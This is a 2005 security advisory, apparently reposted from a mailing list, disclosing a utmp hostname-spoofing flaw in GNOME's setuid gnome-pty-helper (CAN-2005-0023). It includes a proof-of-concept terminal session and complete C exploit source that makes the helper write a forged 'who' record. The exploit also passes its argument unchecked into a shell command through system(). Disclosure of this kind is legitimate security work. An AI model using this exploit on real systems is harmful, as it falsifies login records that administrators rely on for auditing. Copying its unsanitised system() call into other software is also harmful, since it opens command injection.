[UNIX] gnome-pty-helper utmp Display Spoofing

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Date: 10 Oct 2005 16:06:16 +0200

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  gnome-pty-helper utmp Display Spoofing
------------------------------------------------------------------------

SUMMARY

" <http://www.gnome.org/> gnome-pty-helper is a program that setuid
application used to open a pseudo-terminal, set the permissions,
owner-ship and record user login information."

gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings.

DETAILS

gnome-pty-helper allows attackers to spoof a local UTMP hostname due to a
failure of the application to properly validate user-supplied data prior
to using it to update UTMP records.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0023>
CAN-2005-0023

Proof of Concept:
psz@savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep
psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz pts/2 Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz pts/2 Sep 20 08:40 (xyz)
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T
psz@savona -n psz@savona -sb -sl 10000 -ls
psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00
gnome-pty-helper-exploit xyz
psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00
gnome-pty-helper
psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
[1]+ Done gnome-pty-helper-exploit xyz
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)

CODE:

/*
    Must be compiled against (within)
 gnome-libs-1.4.2/zvt
    because it uses *.h files from there.
    Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG 4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
 struct iovec iov [1];
 struct msghdr msg;
 char buf [32];
 
 iov [0].iov_base = buf;
 iov [0].iov_len = sizeof (buf);
 msg.msg_iov = iov;
 msg.msg_iovlen = 1;
 msg.msg_name = NULL;
 msg.msg_namelen = 0;

 if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
  return -1;
 msg.msg_control = (caddr_t) cmptr;
 msg.msg_controllen = CONTROLLEN;

 if (recvmsg (helper_fd, &msg, 0) <= 0)
  return -1;

 return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
 return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
 GnomePtyOps op;
 int result, n;
 void *tag;
 
 if (helper_pid == -1)
  return NULL;

 if (helper_pid == 0){
  if (s_pipe (helper_socket_protocol) == -1)
   return NULL;

  if (s_pipe (helper_socket_fdpassing) == -1){
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   return NULL;
  }
  
  helper_pid = fork ();
  
  if (helper_pid == -1){
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   close (helper_socket_fdpassing [0]);
   close (helper_socket_fdpassing [1]);
   return NULL;
  }

  if (helper_pid == 0){
   close (0);
   close (1);
   dup2 (helper_socket_protocol [1], 0);
   dup2 (helper_socket_fdpassing [1], 1);

   /* Close aliases */
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   close (helper_socket_fdpassing [0]);
   close (helper_socket_fdpassing [1]);

   execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
   exit (1);
  } else {
   close (helper_socket_fdpassing [1]);
   close (helper_socket_protocol [1]);

   /*
    * Set the close-on-exec flag for the other
    * descriptors, these should never propagate
    * (otherwise gnome-pty-heler wont notice when
    * this process is killed).
    */
   fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
   fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
  }
 }
 op = GNOME_PTY_OPEN_NO_DB_UPDATE;
 
 if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
  if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
   op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
  else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
   op = GNOME_PTY_OPEN_PTY_UWTMP;
  else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
   op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
  else
   op = GNOME_PTY_OPEN_PTY_UTMP;
 } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
  if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
   op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
  else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
   op = GNOME_PTY_OPEN_PTY_WTMP;
 } else
  if (update_wutmp & ZVT_TERM_DO_LASTLOG)
   op = GNOME_PTY_OPEN_PTY_LASTLOG;
 
 if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
  return NULL;
 
 n = read (helper_socket_protocol [0], &result, sizeof (result));
 if (n == -1 || n != sizeof (result)){
  helper_pid = 0;
  return NULL;
 }
 
 if (result == 0)
  return NULL;

 n = read (helper_socket_protocol [0], &tag, sizeof (tag));
 
 if (n == -1 || n != sizeof (tag)){
  helper_pid = 0;
  return NULL;
 }

 *master = receive_fd (helper_socket_fdpassing [0]);
 *slave = receive_fd (helper_socket_fdpassing [0]);
 
 return tag;
}

int main (int argc, char* argv[])
{
 int slave_pty, master_pty;
 void* mytag;
 int log = ZVT_TERM_DO_UTMP_LOG;
 char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

 if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
  return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:psz@maths.usyd.edu.au> Paul
Szabo.
Debian Bug report can be found at:
<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907>
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907
The vendor bug report can be found at:
<http://bugzilla.gnome.org/show_bug.cgi?id=317312>
http://bugzilla.gnome.org/show_bug.cgi?id=317312

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